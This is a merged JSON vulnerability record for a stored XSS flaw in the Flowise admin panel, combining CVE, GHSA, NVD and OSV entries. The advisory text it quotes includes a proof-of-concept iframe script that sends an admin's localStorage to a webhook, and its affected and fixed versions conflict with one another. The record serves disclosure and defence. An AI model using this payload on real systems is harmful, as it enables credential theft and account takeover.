{"id":"CVE-2025-50538","aliases":["EUVD-2025-32219","GHSA-7rgr-72hp-9wp3","GHSA-964p-j4gg-mhwc"],"status":"published","title":"Duplicate Advisory: Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel","description":"Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.14712,"percentile":0.96715,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2025-10-03T21:47:37Z","modified":"2026-10-28T02:30:24Z","fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.0.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]}],"products":[{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwc","tags":["exploit","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/pull/4905","tags":["Patch","fix","web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5","tags":["Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50538","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7rgr-72hp-9wp3"},{"url":"https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97","tags":["web"]},{"url":"https://github.com/advisories/GHSA-964p-j4gg-mhwc"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/50xxx/CVE-2025-50538.json","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-50538","description":"Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","status":"published","published":"2025-10-06T00:00:00Z","modified":"2025-10-06T13:53:37.852Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:52.526476Z"}],"euvd":[{"id":"EUVD-2025-32219","description":"Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","status":"published","published":"2025-10-06T00:00:00Z","modified":"2025-10-06T13:53:37Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T20:31:36.284733Z"}],"ghsa":[{"id":"GHSA-7rgr-72hp-9wp3","title":"Duplicate Advisory: Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-964p-j4gg-mhwc. This link is maintained to preserve external references.\n\n### Original Description\nFlowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","status":"withdrawn","published":"2025-10-06T03:31:38Z","modified":"2025-10-08T19:34:58Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:59.83883Z"},{"id":"GHSA-964p-j4gg-mhwc","title":"Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `\u003ciframe srcdoc=\"...\"\u003e` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2. Send the following payload via the agent's chat interface:\n   ```html\n   \u003ciframe srcdoc=\"\u003cscript\u003efetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))\u003c/script\u003e\"\u003e\n   ```\n3. As an admin, go to the workflow and click **\"View Messages\"**.\n4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.\n\n---\n\n### Impact\n- **Type:** Stored Cross-Site Scripting (XSS)\n- **Who is impacted:** Any admin viewing messages in the FlowiseAI UI\n- **Data at risk:** Admin credentials, or sensitive info stored in `localStorage`\n- **Severity:** High (Account takeover, admin privilege escalation, full panel compromise)\n\n---\n\n### Affected Products\n- **Ecosystem:** `npm`\n- **Package name:** `flowise`\n- **Affected versions:** `\u003c 2.2.7`\n- **Patched versions:**`1`","status":"published","published":"2025-10-03T21:47:37Z","modified":"2025-10-13T17:38:23Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:00.807341Z"}],"nvd":[{"id":"CVE-2025-50538","description":"Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","status":"published","published":"2025-10-06T02:15:40.337Z","modified":"2026-10-09T10:10:00.193Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:35.93863Z"}],"osv":[{"id":"CVE-2025-50538","description":"Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","status":"published","published":"2025-10-06T00:00:00Z","modified":"2026-10-28T02:30:24.929162877Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:50.037003Z"},{"id":"GHSA-7rgr-72hp-9wp3","title":"Duplicate Advisory: Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-964p-j4gg-mhwc. This link is maintained to preserve external references.\n\n### Original Description\nFlowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","status":"withdrawn","published":"2025-10-06T03:31:38Z","modified":"2025-10-08T19:34:58Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"GHSA-964p-j4gg-mhwc","title":"Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `\u003ciframe srcdoc=\"...\"\u003e` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2. Send the following payload via the agent's chat interface:\n   ```html\n   \u003ciframe srcdoc=\"\u003cscript\u003efetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))\u003c/script\u003e\"\u003e\n   ```\n3. As an admin, go to the workflow and click **\"View Messages\"**.\n4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.\n\n---\n\n### Impact\n- **Type:** Stored Cross-Site Scripting (XSS)\n- **Who is impacted:** Any admin viewing messages in the FlowiseAI UI\n- **Data at risk:** Admin credentials, or sensitive info stored in `localStorage`\n- **Severity:** High (Account takeover, admin privilege escalation, full panel compromise)\n\n---\n\n### Affected Products\n- **Ecosystem:** `npm`\n- **Package name:** `flowise`\n- **Affected versions:** `\u003c 2.2.7`\n- **Patched versions:**`1`","status":"published","published":"2025-10-03T21:47:37Z","modified":"2026-07-08T07:59:25.876490406Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}
